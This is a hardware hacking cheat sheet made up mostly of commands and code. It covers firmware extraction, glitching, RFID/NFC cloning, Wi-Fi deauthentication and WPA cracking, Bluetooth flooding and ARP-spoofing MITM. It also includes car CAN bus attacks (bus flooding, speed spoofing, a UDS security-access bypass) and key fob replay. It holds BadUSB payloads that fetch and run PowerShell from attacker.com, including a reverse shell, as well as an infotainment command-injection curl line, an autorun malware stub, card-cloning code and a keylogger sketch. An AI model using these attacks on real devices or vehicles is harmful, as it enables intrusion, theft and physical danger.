Comprehensive guide to hardware security testing covering hardware attack methodologies, car hacking, IoT device exploitation, radio frequency attacks, and DIY hardware toolkit development for security professionals and researchers.
Key Concepts:
- Hardware Security: Protecting physical devices from tampering, reverse engineering, and exploitation
- Attack Surfaces: Firmware, hardware interfaces, side-channels, supply chain
- Security Boundaries: Trust zones, secure boot, hardware security modules
Essential Tools:
# Software Tools
- Wireshark (Network analysis)
- OpenOCD (JTAG/SWD debugging)
- Ghidra/Binwalk (Firmware analysis)
- GDB/AFL (Exploitation)
- ChipWhisperer (Side-channel attacks)
# Hardware Tools
- Bus Pirate (Universal interface)
- Logic Analyzer (Signal capture)
- JTAGulator (JTAG pin discovery)
- Shikra (Advanced JTAG)
- RTL-SDR (Software defined radio)Common Attack Vectors:
- Firmware Extraction: Reading flash memory via SPI/I2C
- Debug Interfaces: Exploiting JTAG/SWD/UART
- Side-Channel Attacks: Power analysis, timing attacks
- Fault Injection: Glitching to bypass security
- Hardware Trojans: Malicious modifications
JTAG Debugging with OpenOCD:
# Configuration file for STM32
cat > stm32.cfg << 'EOF'
source [find interface/stlink.cfg]
source [find target/stm32f1x.cfg]
reset_config srst_only
EOF
# Start OpenOCD server
openocd -f stm32.cfg
# Connect via telnet
telnet localhost 4444
# Common commands:
> halt # Stop CPU
> mdw 0x08000000 10 # Read 10 words from flash
> dump_image flash.bin 0x08000000 0x10000 # Dump 64KB
> flash write_image erase firmware.bin 0x08000000 # Write firmwareFirmware Analysis with Binwalk:
# Basic firmware analysis
binwalk firmware.bin
# Entropy analysis (encryption detection)
binwalk -E firmware.bin
# Extract file system
binwalk -e firmware.bin
# Signature analysis
binwalk -B firmware.bin
# Custom signatures
binwalk --signature firmware.bin
# Advanced extraction
binwalk -D '.*' firmware.bin # Extract all file typesGhidra for Firmware Reverse Engineering:
# Launch Ghidra
./ghidraRun
# Steps for firmware analysis:
1. Create new project
2. Import firmware binary
3. Auto-analyze with correct architecture
4. Look for:
- Hardcoded credentials
- Backdoor functions
- Cryptographic implementations
- Network services
- Command injection pointsLogic Analyzer for Signal Analysis:
# Using Saleae Logic Analyzer
1. Connect to target signals (UART, SPI, I2C)
2. Capture communication
3. Analyze protocol:
- UART: Baud rate, parity, stop bits
- SPI: Clock polarity, phase
- I2C: Address, read/write bits
4. Decode captured dataBuffer Overflow Exploitation:
// Example vulnerable code
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // No bounds checking!
}
// Exploit payload structure
[ NOP sled ] [ shellcode ] [ return address ]GDB Debugging for Exploit Development:
# Start GDB session
gdb ./vulnerable_program
# Set breakpoints
(gdb) break vulnerable_function
(gdb) run $(python -c 'print "A"*100')
# Examine registers
(gdb) info registers
(gdb) x/20x $sp
# Control execution
(gdb) step
(gdb) next
(gdb) continue
# Examine memory
(gdb) x/40xb buffer
(gdb) x/s buffer
# Pattern creation and offset finding
(gdb) run $(python -c 'print "Aa0Aa1Aa2..."')
(gdb) info registers eipAFL Fuzzing for Vulnerability Discovery:
# Build with AFL instrumentation
afl-gcc -o target_program target.c
# Create test cases
mkdir in out
echo "seed" > in/seed1
# Start fuzzing
afl-fuzz -i in -o out ./target_program @@
# Analyze crashes
ls out/crashes/
xxd out/crashes/id:000000*IDA Pro Analysis:
# Key IDA Pro features for hardware exploitation:
1. Cross-references (Xrefs)
2. Function graph view
3. Hex-Rays decompiler
4. Patch byte functionality
5. Scripting with IDAPython
# Common vulnerabilities to look for:
- strcpy/memcpy without bounds checking
- printf without format string
- Integer overflows
- Use-after-free
- Command injection (system(), popen())Side-Channel Attacks with ChipWhisperer:
import chipwhisperer as cw
import numpy as np
# Setup ChipWhisperer
scope = cw.scope()
target = cw.target(scope)
# Capture power traces
traces = []
for i in range(1000):
scope.arm()
target.simpleserial_write('k', key)
ret = scope.capture()
if ret:
traces.append(scope.get_last_trace())
# Perform Correlation Power Analysis (CPA)
from chipwhisperer.analyzer import attacks
attack = attacks.cpa.CPA()
results = attack.analyze(traces, plaintexts)Fault Injection Attacks:
# Glitch attack to bypass authentication
import chipwhisperer as cw
scope = cw.scope()
scope.glitch.ext_offset = 50 # Offset in clock cycles
scope.glitch.width = 10 # Glitch width
scope.glitch.repeat = 1 # Number of glitches
# Trigger glitch during authentication
scope.arm()
target.simpleserial_write('a', auth_data)
scope.glitch.manual_trigger() # Inject glitchPower Analysis:
# Simple Power Analysis (SPA)
# Visual inspection of power traces during cryptographic operations
# Differential Power Analysis (DPA)
# Statistical analysis to extract secret keys
# Tools:
- ChipWhisperer
- Riscure Inspector
- Power analysis boardsProxmark3 for RFID Attacks:
# Start Proxmark3 client
./proxmark3 /dev/ttyACM0
# LF (125kHz) commands
lf search # Search for LF tags
lf read # Read tag data
lf sim # Simulate tag
lf snoop # Snoop communication
# HF (13.56MHz) commands
hf search # Search for HF tags
hf mf chk # Check for default keys
hf mf fchk # Check for factory default keys
hf mf rdbl # Read block
hf mf wrbl # Write block
hf mf darkside # Darkside attack on MIFARE Classic
# Clone MIFARE Classic
hf mf autopwn # Automated attackWi-Fi Attacks with Aircrack-ng Suite:
# Put interface in monitor mode
airmon-ng start wlan0
# Scan for networks
airodump-ng wlan0mon
# Capture handshake
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon
# Deauth attack to force reconnection
aireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0mon
# Crack WPA2 handshake
aircrack-ng -w rockyou.txt capture-01.cap
# WEP attack
aireplay-ng -1 0 -a AP_MAC -h CLIENT_MAC wlan0mon
aireplay-ng -3 -b AP_MAC -h CLIENT_MAC wlan0mon
aircrack-ng capture-01.capBluetooth Attacks:
# Scan for devices
hcitool scan
bluetoothctl scan on
# Get device info
hcitool info MAC_ADDRESS
# L2CAP ping (DoS)
l2ping -s 1000 -f MAC_ADDRESS
# BlueBorne attack
# Check for vulnerabilities
python3 blueborne.py -d MAC_ADDRESS
# Bluetooth fuzzing
gatttool -b MAC_ADDRESS -I
> connect
> char-read-hnd 0x000c
> char-write-req 0x000c $(python -c 'print "A"*500')Bettercap for MITM:
# Start bettercap
sudo bettercap -iface wlan0
# Common commands:
> help
> net.show
> net.probe on
> net.recon on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> net.sniff onSecure Boot Implementation:
// Example secure boot flow
bool secure_boot(void) {
// 1. Verify bootloader signature
if (!verify_signature(BOOTLOADER_START, BOOTLOADER_SIZE, PUBKEY)) {
return false;
}
// 2. Verify application signature
if (!verify_signature(APP_START, APP_SIZE, PUBKEY)) {
return false;
}
// 3. Check version anti-rollback
if (read_version() < MIN_VERSION) {
return false;
}
return true;
}Hardware Security Modules (HSM):
# Using YubiKey for authentication
yubico-piv-tool -a verify-pin -P 123456
yubico-piv-tool -a sign -s 9c -H SHA256 -i data.txt -o signature.bin
# TOTP implementation
import pyotp
totp = pyotp.TOTP('base32secret3232')
print("Current OTP:", totp.now())Memory Protection:
// MPU configuration for ARM Cortex-M
void configure_mpu(void) {
// Set up protected regions
MPU->RNR = 0;
MPU->RBAR = FLASH_START;
MPU->RASR = FLASH_ATTR;
MPU->RNR = 1;
MPU->RBAR = RAM_START;
MPU->RASR = RAM_ATTR;
MPU->CTRL |= MPU_CTRL_ENABLE_Msk;
}USB Security Testing:
# USB device enumeration
lsusb
usb-devices
# USB fuzzing with USBProxy
python usbproxy.py --device 1234:5678
# USB kill device test
# WARNING: Destructive!
# Tests surge protection on USB portsWireGuard VPN Testing:
# Generate keys
wg genkey | tee privatekey | wg pubkey > publickey
# Configuration
cat > /etc/wireguard/wg0.conf << EOF
[Interface]
Address = 10.0.0.1/24
ListenPort = 51820
PrivateKey = $(cat privatekey)
[Peer]
PublicKey = $(cat peer_publickey)
AllowedIPs = 10.0.0.2/32
EOF
# Start VPN
wg-quick up wg0Nessus Vulnerability Scanning:
# Command line scanning
nessus -q -x -T html -o report.html target_ip
# Common hardware-related checks:
- Default credentials on embedded devices
- Exposed management interfaces
- Unencrypted protocols
- Outdated firmware versionsKey Components:
- ECU (Engine Control Unit): Controls engine operations
- TCU (Transmission Control Unit): Controls transmission
- BCM (Body Control Module): Controls lights, windows, locks
- CAN Bus: Controller Area Network (500kbps, 250kbps)
- LIN Bus: Local Interconnect Network (20kbps)
- FlexRay: High-speed bus (10Mbps)
- OBD-II Port: On-board diagnostics (standardized connector)
Protocol Characteristics:
| Protocol | Speed | Use Case | Security |
|---|---|---|---|
| CAN | 500kbps | Critical systems | None |
| LIN | 20kbps | Body electronics | None |
| FlexRay | 10Mbps | X-by-wire | Limited |
| Ethernet | 100Mbps | Infotainment | Some |
OBD-II Tools:
# Using can-utils (Linux)
sudo apt install can-utils
# Bring up CAN interface
sudo ip link set can0 up type can bitrate 500000
# Monitor CAN traffic
candump can0
# Send CAN frames
cansend can0 123#DEADBEEF
# Replay captured traffic
canplayer -I capture.log -vPython CAN Tools:
import can
# Create bus instance
bus = can.interface.Bus(bustype='socketcan', channel='can0', bitrate=500000)
# Send message
msg = can.Message(
arbitration_id=0x123,
data=[0x11, 0x22, 0x33, 0x44],
is_extended_id=False
)
bus.send(msg)
# Receive messages
for msg in bus:
print(f"ID: {hex(msg.arbitration_id)} Data: {msg.data.hex()}")OBD-II Commands (PID Codes):
# Mode 01 - Show current data
PIDS = {
0x00: "PIDs supported [01-20]",
0x04: "Engine load",
0x05: "Engine coolant temperature",
0x0C: "Engine RPM",
0x0D: "Vehicle speed",
0x10: "MAF air flow rate",
0x11: "Throttle position",
}
# Example RPM request
# Request: 0x7DF [02 01 0C 00 00 00 00 00]
# Response: 0x7E8 [04 41 0C 12 34 00 00 00]
# RPM = ((256 * 0x12) + 0x34) / 4 = 1450 RPMECU Firmware Extraction:
# Method 1: Via OBD-II (if supported)
python3 ecu_extract.py --obd --output firmware.bin
# Method 2: Direct flash read via JTAG
openocd -f interface/jlink.cfg -f target/mpc5674.cfg
> dump_image ecu_firmware.bin 0x00000000 0x100000
# Method 3: Bench testing
# Desolder flash chip and read with programmer
flashrom -p ch341a_spi -r firmware.binECU Analysis with Ghidra:
# Common ECU architectures:
# - PowerPC (MPC5xx, MPC55xx)
# - ARM Cortex (R4, R5, M3, M4)
# - TriCore (Aurix)
# - SH-2 (Renesas)
# Look for:
# - Diagnostic services (UDS)
# - Bootloader routines
# - Security access algorithms
# - Calibration data
# - Seed-key algorithmsUDS (Unified Diagnostic Services) Exploitation:
# UDS service identifiers
UDS_SERVICES = {
0x10: "Diagnostic Session Control",
0x11: "ECU Reset",
0x22: "Read Data By Identifier",
0x27: "Security Access",
0x28: "Communication Control",
0x2E: "Write Data By Identifier",
0x3E: "Tester Present",
}
# Example security access bypass
def bypass_security_access():
# Request seed
send_can([0x7DF, [0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00]])
# Receive seed (e.g., 0x12 0x34)
seed = receive_seed()
# Brute force key or use known algorithm
key = calculate_key(seed) # Often simple: key = seed + 0x1234
# Send key
send_can([0x7DF, [0x04, 0x27, 0x02, (key>>8)&0xFF, key&0xFF, 0x00, 0x00, 0x00]])TPMS (Tire Pressure Monitoring System):
# Capture TPMS signals with RTL-SDR
rtl_433 -f 315M -f 433M -R 0
# Common TPMS protocols:
# - Schrader
# - Continental
# - Orange
# - Lear
# Replay attack to trigger false alerts
rtl_433 -f 315000000 -X "n=TPMS,m=OOK_PWM,s=500,l=1000,r=2000,g=2000,t=100"Key Fob Attacks:
# Rolling code capture and replay
# Using HackRF
hackrf_transfer -r keyfob.cu8 -f 433920000 -s 2000000 -g 40 -l 32
# Analyze with inspectrum
inspectrum keyfob.cu8
# Jam and capture (RollJam attack)
# Jam signal during first press
# Capture signal during second press
# Replay first signalBluetooth in Vehicles:
# Scan for Bluetooth devices
hcitool scan
# Connect to infotainment system
rfcomm connect 0 MAC_ADDRESS 1
# Explore services
sdptool browse MAC_ADDRESS
# Common attacks:
# - Pairing bypass
# - Message injection
# - DoS via connection floodingCAN Bus Attacks:
import can
import time
bus = can.interface.Bus(bustype='socketcan', channel='can0')
# 1. DoS Attack - Flood bus
def dos_attack():
msg = can.Message(
arbitration_id=0x000,
data=[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
is_extended_id=False
)
while True:
bus.send(msg)
time.sleep(0.001)
# 2. Spoofing - Fake messages
def spoof_speed(speed_kmh):
# Convert to CAN format (typically 1 byte = 1 km/h)
msg = can.Message(
arbitration_id=0x0AA, # Example speed message ID
data=[speed_kmh, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
is_extended_id=False
)
bus.send(msg)
# 3. Replay Attack
def replay_attack(capture_file):
with open(capture_file, 'r') as f:
for line in f:
id_str, data_str = line.strip().split('#')
msg = can.Message(
arbitration_id=int(id_str, 16),
data=bytearray.fromhex(data_str),
is_extended_id=False
)
bus.send(msg)
time.sleep(0.01)CAN Reverse Engineering:
# Fingerprinting CAN messages
def fingerprint_can():
seen_ids = set()
message_counts = {}
for msg in bus:
msg_id = msg.arbitration_id
if msg_id not in seen_ids:
seen_ids.add(msg_id)
print(f"New ID: {hex(msg_id)}")
# Count frequency
if msg_id not in message_counts:
message_counts[msg_id] = 0
message_counts[msg_id] += 1
# Analyze periodic messages
if message_counts[msg_id] > 100:
print(f"Periodic message: {hex(msg_id)}")
# Look for responses (request-response pattern)
# Typically: Request ID + 8 = Response IDNetwork Topology Mapping:
# Using CANtact or similar tools
# 1. Connect to each CAN bus (HS-CAN, MS-CAN, LS-CAN)
# 2. Map message IDs to functions
# 3. Identify gateway ECU
# 4. Test diagnostic messages on each busAndroid Auto/Apple CarPlay:
# ADB access to Android-based systems
adb connect car_ip:5555
adb shell
# Common directories to explore:
ls /data/data/com.android.*
ls /system/app/
# Extract APKs
adb pull /system/app/Infotainment.apk
# Reverse engineer APK
apktool d Infotainment.apk
dex2jar classes.dexWeb Interface Exploitation:
# Common infotainment web interfaces
# Ports: 80, 443, 8080, 8443
# Directory enumeration
gobuster dir -u http://car_ip:8080 -w /usr/share/wordlists/dirb/common.txt
# Default credentials
# admin/admin, admin/password, root/root, service/service
# Command injection
curl "http://car_ip/api/update?url=http://attacker.com/malicious.bin"
curl "http://car_ip/api/exec?cmd=ls"USB Media Exploitation:
# Malicious USB with autorun.inf (if enabled)
# Create directory structure:
# USB/
# autorun.inf
# malware.exe
# media files
# autorun.inf content:
[autorun]
open=malware.exe
action=Open media player
icon=malware.exeSafety Equipment:
# Essential safety gear:
- Isolation transformer
- Fuse box with various ratings
- Fire extinguisher (Class C for electrical)
- Insulated tools
- ESD protection
- Emergency stop buttonTest Bench Setup:
# Basic car hacking bench setup
COMPONENTS = {
'power_supply': '12V DC, 30A minimum',
'can_interface': 'CANtact, PCAN-USB, Kvaser',
'ecus': ['Engine ECU', 'Transmission ECU', 'BCM'],
'network': 'CAN bus simulator',
'tools': ['Multimeter', 'Oscilloscope', 'Logic analyzer'],
}
# Virtual CAN setup (for testing)
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0Capture and Analysis Workflow:
# 1. Capture traffic
candump -l can0 # Log to file
# 2. Filter and analyze
canplayer -I capture.log | cansniffer -c can0
# 3. Replay specific messages
canplayer -I capture.log -g 1000 -l i # Gap of 1000ms
# 4. Create custom messages
cansend can0 123#1122334455667788Basic Payload:
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
// Open command prompt
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
// Download and execute payload
DigiKeyboard.print("powershell -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\"");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}Advanced PowerShell Payload:
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(3000);
// Open PowerShell as admin
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
// Bypass execution policy and run payload
DigiKeyboard.print("Set-ExecutionPolicy Bypass -Scope Process -Force;");
DigiKeyboard.print("IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/revshell.ps1')");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}Transmitter Code:
#include <RH_RF69.h>
#include <SPI.h>
#define RF69_FREQ 915.0
#define RFM69_CS 10
#define RFM69_INT 2
#define RFM69_RST 9
RH_RF69 rf69(RFM69_CS, RFM69_INT);
void setup() {
Serial.begin(115200);
pinMode(RFM69_RST, OUTPUT);
digitalWrite(RFM69_RST, LOW);
delay(10);
digitalWrite(RFM69_RST, HIGH);
delay(10);
if (!rf69.init()) {
Serial.println("RFM69 init failed");
while (1);
}
rf69.setFrequency(RF69_FREQ);
rf69.setTxPower(20, true); // 20dBm
uint8_t key[] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};
rf69.setEncryptionKey(key);
}
void loop() {
char data[] = "Hello from RFM69!";
rf69.send((uint8_t *)data, strlen(data));
rf69.waitPacketSent();
delay(1000);
}Receiver Code:
void loop() {
if (rf69.available()) {
uint8_t buf[RH_RF69_MAX_MESSAGE_LEN];
uint8_t len = sizeof(buf);
if (rf69.recv(buf, &len)) {
Serial.print("Received: ");
Serial.println((char*)buf);
Serial.print("RSSI: ");
Serial.println(rf69.lastRssi(), DEC);
}
}
}Basic Reader:
#include <SPI.h>
#include <MFRC522.h>
#define SS_PIN 10
#define RST_PIN 9
MFRC522 rfid(SS_PIN, RST_PIN);
MFRC522::MIFARE_Key key;
void setup() {
Serial.begin(9600);
SPI.begin();
rfid.PCD_Init();
// Prepare default key
for (byte i = 0; i < 6; i++) {
key.keyByte[i] = 0xFF;
}
}
void loop() {
if (!rfid.PICC_IsNewCardPresent() || !rfid.PICC_ReadCardSerial())
return;
// Print UID
Serial.print("UID: ");
for (byte i = 0; i < rfid.uid.size; i++) {
Serial.print(rfid.uid.uidByte[i] < 0x10 ? "0" : "");
Serial.print(rfid.uid.uidByte[i], HEX);
}
Serial.println();
// Read block 4 (sector 1, block 0)
byte sector = 1;
byte blockAddr = 4;
byte buffer[18];
byte size = sizeof(buffer);
if (rfid.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, blockAddr, &key, &(rfid.uid)) == MFRC522::STATUS_OK) {
if (rfid.MIFARE_Read(blockAddr, buffer, &size) == MFRC522::STATUS_OK) {
Serial.print("Block 4: ");
for (byte i = 0; i < 16; i++) {
Serial.print(buffer[i] < 0x10 ? "0" : "");
Serial.print(buffer[i], HEX);
}
Serial.println();
}
}
rfid.PICC_HaltA();
rfid.PCD_StopCrypto1();
}Cloner/Writer:
void cloneCard() {
byte newUid[] = {0x12, 0x34, 0x56, 0x78}; // New UID to write
// Write new UID to block 0
if (rfid.MIFARE_SetUid(newUid, (byte)4, true) == MFRC522::STATUS_OK) {
Serial.println("UID written successfully");
// Write data to other blocks
byte dataBlock[16] = {0};
memset(dataBlock, 0xFF, 16); // Fill with 0xFF
for (byte block = 4; block < 64; block += 4) {
if (rfid.MIFARE_Write(block, dataBlock, 16) != MFRC522::STATUS_OK) {
Serial.print("Failed to write block ");
Serial.println(block);
}
}
}
}Setup and Basic Operations:
#include <Wire.h>
#include <Adafruit_PN532.h>
#define PN532_SCK 13
#define PN532_MISO 12
#define PN532_MOSI 11
#define PN532_SS 10
Adafruit_PN532 nfc(PN532_SCK, PN532_MISO, PN532_MOSI, PN532_SS);
void setup() {
Serial.begin(115200);
nfc.begin();
uint32_t versiondata = nfc.getFirmwareVersion();
if (!versiondata) {
Serial.println("PN532 not found");
while (1);
}
nfc.SAMConfig();
Serial.println("Ready to read NFC tags");
}
void loop() {
uint8_t success;
uint8_t uid[] = {0, 0, 0, 0, 0, 0, 0};
uint8_t uidLength;
success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength);
if (success) {
Serial.print("UID: ");
for (uint8_t i = 0; i < uidLength; i++) {
Serial.print(" 0x"); Serial.print(uid[i], HEX);
}
Serial.println();
// Check if card is Mifare Classic
if (uidLength == 4) {
uint8_t keya[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
success = nfc.mifareclassic_AuthenticateBlock(uid, uidLength, 4, 0, keya);
if (success) {
uint8_t data[16];
success = nfc.mifareclassic_ReadDataBlock(4, data);
if (success) {
Serial.print("Block 4: ");
nfc.PrintHexChar(data, 16);
}
}
}
}
delay(1000);
}IR Receiver (Capture Codes):
#include <IRremote.h>
int RECV_PIN = 11;
IRrecv irrecv(RECV_PIN);
decode_results results;
void setup() {
Serial.begin(9600);
irrecv.enableIRIn();
}
void loop() {
if (irrecv.decode(&results)) {
Serial.print("Protocol: ");
switch(results.decode_type) {
case NEC: Serial.println("NEC"); break;
case SONY: Serial.println("SONY"); break;
case RC5: Serial.println("RC5"); break;
case RC6: Serial.println("RC6"); break;
default: Serial.println("Unknown");
}
Serial.print("Value: 0x");
Serial.println(results.value, HEX);
irrecv.resume();
}
}IR Transmitter (Replay Codes):
#include <IRremote.h>
IRsend irsend;
void setup() {
Serial.begin(9600);
}
void loop() {
// Send NEC code for power button (example)
irsend.sendNEC(0x10EFD827, 32);
delay(5000);
// Send Sony code
irsend.sendSony(0xA90, 12);
delay(5000);
}Sub-GHz Attacks:
# Capture and replay signals
# Navigate: Sub-GHz -> Read -> Save
# Replay: Sub-GHz -> Saved -> Send
# Common targets:
# - Garage doors
# - Car key fobs
# - Gate openers
# - Weather stationsRFID/NFC Operations:
# Read cards
RFID -> Read
# Clone cards
RFID -> Saved -> Emulate
# Crack MIFARE Classic
RFID -> Detect Reader -> Mfkey32BadUSB:
# Create payloads
Bad USB -> Create -> Select template
# Templates available:
# - Reverse shell
# - Credential harvesting
# - WiFi password extractor
# - Persistence mechanismsBasic Usage:
# View device info
hackrf_info
# Capture signal
hackrf_transfer -r capture.iq -f 433920000 -s 8000000 -g 40 -l 32
# Replay signal
hackrf_transfer -t capture.iq -f 433920000 -s 8000000 -a 1 -x 40
# Spectrum analyzer
hackrf_sweep -f 2400:2500 -w 1000000 -o sweep.csvGSM Sniffing:
# Using gr-gsm
airprobe_rtlsdr.py -f 942.4M
# Decode GSM traffic
wireshark -k -Y gsmtap -i loAdvanced NFC Attacks:
# HF 14a attacks
hf 14a info # Get card info
hf 14a reader # Read card
hf mf autopwn # Auto attack on MIFARE Classic
hf mf hardnested # Hardnested attack
hf mf nested # Nested attack
# LF attacks
lf search # Search for LF tags
lf em 410x watch # Simulate EM410x tag
lf t55xx detect # Detect T55xx chipSub-GHz Attacks:
from yardstick import Yardstick
ys = Yardstick()
# Capture signal
ys.set_frequency(433920000)
ys.set_rx()
capture = ys.capture(seconds=5)
# Replay signal
ys.set_frequency(433920000)
ys.set_tx()
ys.transmit(capture)USB Drop Attack:
# Malicious USB device with multiple personalities
# 1. USB Mass Storage (autorun.inf)
# 2. HID Keyboard (BadUSB)
# 3. Ethernet Adapter (network bridge)
# 4. Serial Console (backdoor access)
# Using Teensy or similar
# Program to switch personalities based on host responseHardware Keylogger:
// USB hardware keylogger
#include "Keyboard.h"
void setup() {
Keyboard.begin();
// Initialize SD card for logging
}
void loop() {
// Monitor PS/2 or USB keyboard lines
// Log to SD card
// Optional: Transmit via Bluetooth/RF
}Wi-Fi Pineapple Operations:
# Set up rogue access point
# Using WiFi Pineapple or GL.iNet router
# Clone legitimate SSID
# Perform KARMA attack (respond to all probes)
# Capture handshakes
# Perform MITM attacksBluetooth Sniffing:
# Using Ubertooth
ubertooth-scan -f 2402
# Capture Bluetooth traffic
ubertooth-btle -f -c capture.pcap
# Analyze with Wireshark
wireshark -r capture.pcap -Y btattProxmark3 RFID Cloning:
# Clone HID Prox card
lf hid clone <card_id>
# Clone MIFARE Classic
hf mf autopwn
# Clone MIFARE DESFire
hf mfdes info
hf mfdes readJTAG/SWD Protection:
// Disable debug interfaces in production
// In firmware:
void disable_debug(void) {
// ARM Cortex-M
CoreDebug->DHCSR &= ~CoreDebug_DHCSR_C_DEBUGEN_Msk;
// Fuse settings (one-time programmable)
// Set security bits in flash configuration
}Secure Boot Implementation:
# Example secure boot verification
def verify_firmware(firmware, signature, public_key):
# 1. Verify signature
if not verify_signature(firmware, signature, public_key):
return False
# 2. Check version
if firmware.version < MIN_VERSION:
return False
# 3. Verify checksum
if crc32(firmware.data) != firmware.checksum:
return False
return TrueTPM Integration:
# Check TPM status
tpm2_getcap properties-fixed
# Create and use keys
tpm2_createprimary -C o -g sha256 -G rsa -c primary.ctx
tpm2_create -C primary.ctx -g sha256 -G rsa -u key.pub -r key.priv
tpm2_load -C primary.ctx -u key.pub -r key.priv -c key.ctxTamper Detection:
// Example tamper switch monitoring
void check_tamper(void) {
if (read_tamper_switch()) {
// Erase sensitive data
erase_flash();
// Lock device
set_lock_bits();
// Optional: Trigger alarm
}
}Secure Element Integration:
# Using ATECC608A secure element
import atecc
# Initialize
atecc.init()
# Generate key pair
private_key = atecc.generate_private_key()
public_key = atecc.get_public_key()
# Sign data
signature = atecc.sign(data, private_key)
# Verify signature
is_valid = atecc.verify(data, signature, public_key)# JTAG with OpenOCD
openocd -f interface/jlink.cfg -f target/stm32f1x.cfg
# Serial console
screen /dev/ttyUSB0 115200
# Logic analyzer
sigrok-cli -d saleae-logic16 -c samplerate=10M --continuous
# SPI flash read
flashrom -p ch341a_spi -r firmware.bin# CAN bus monitoring
candump can0
# Send CAN message
cansend can0 123#DEADBEEF
# OBD-II query
python3 -c "import obd; connection = obd.OBD(); print(connection.query(obd.commands.RPM))"# HackRF capture
hackrf_transfer -r capture.iq -f 433M -s 8M
# RTL-SDR scan
rtl_433 -f 433M
# Bluetooth scan
hcitool scan# Extract filesystem
binwalk -e firmware.bin
# Analyze strings
strings firmware.bin | grep -i "password\|key\|secret"
# Check entropy
binwalk -E firmware.bin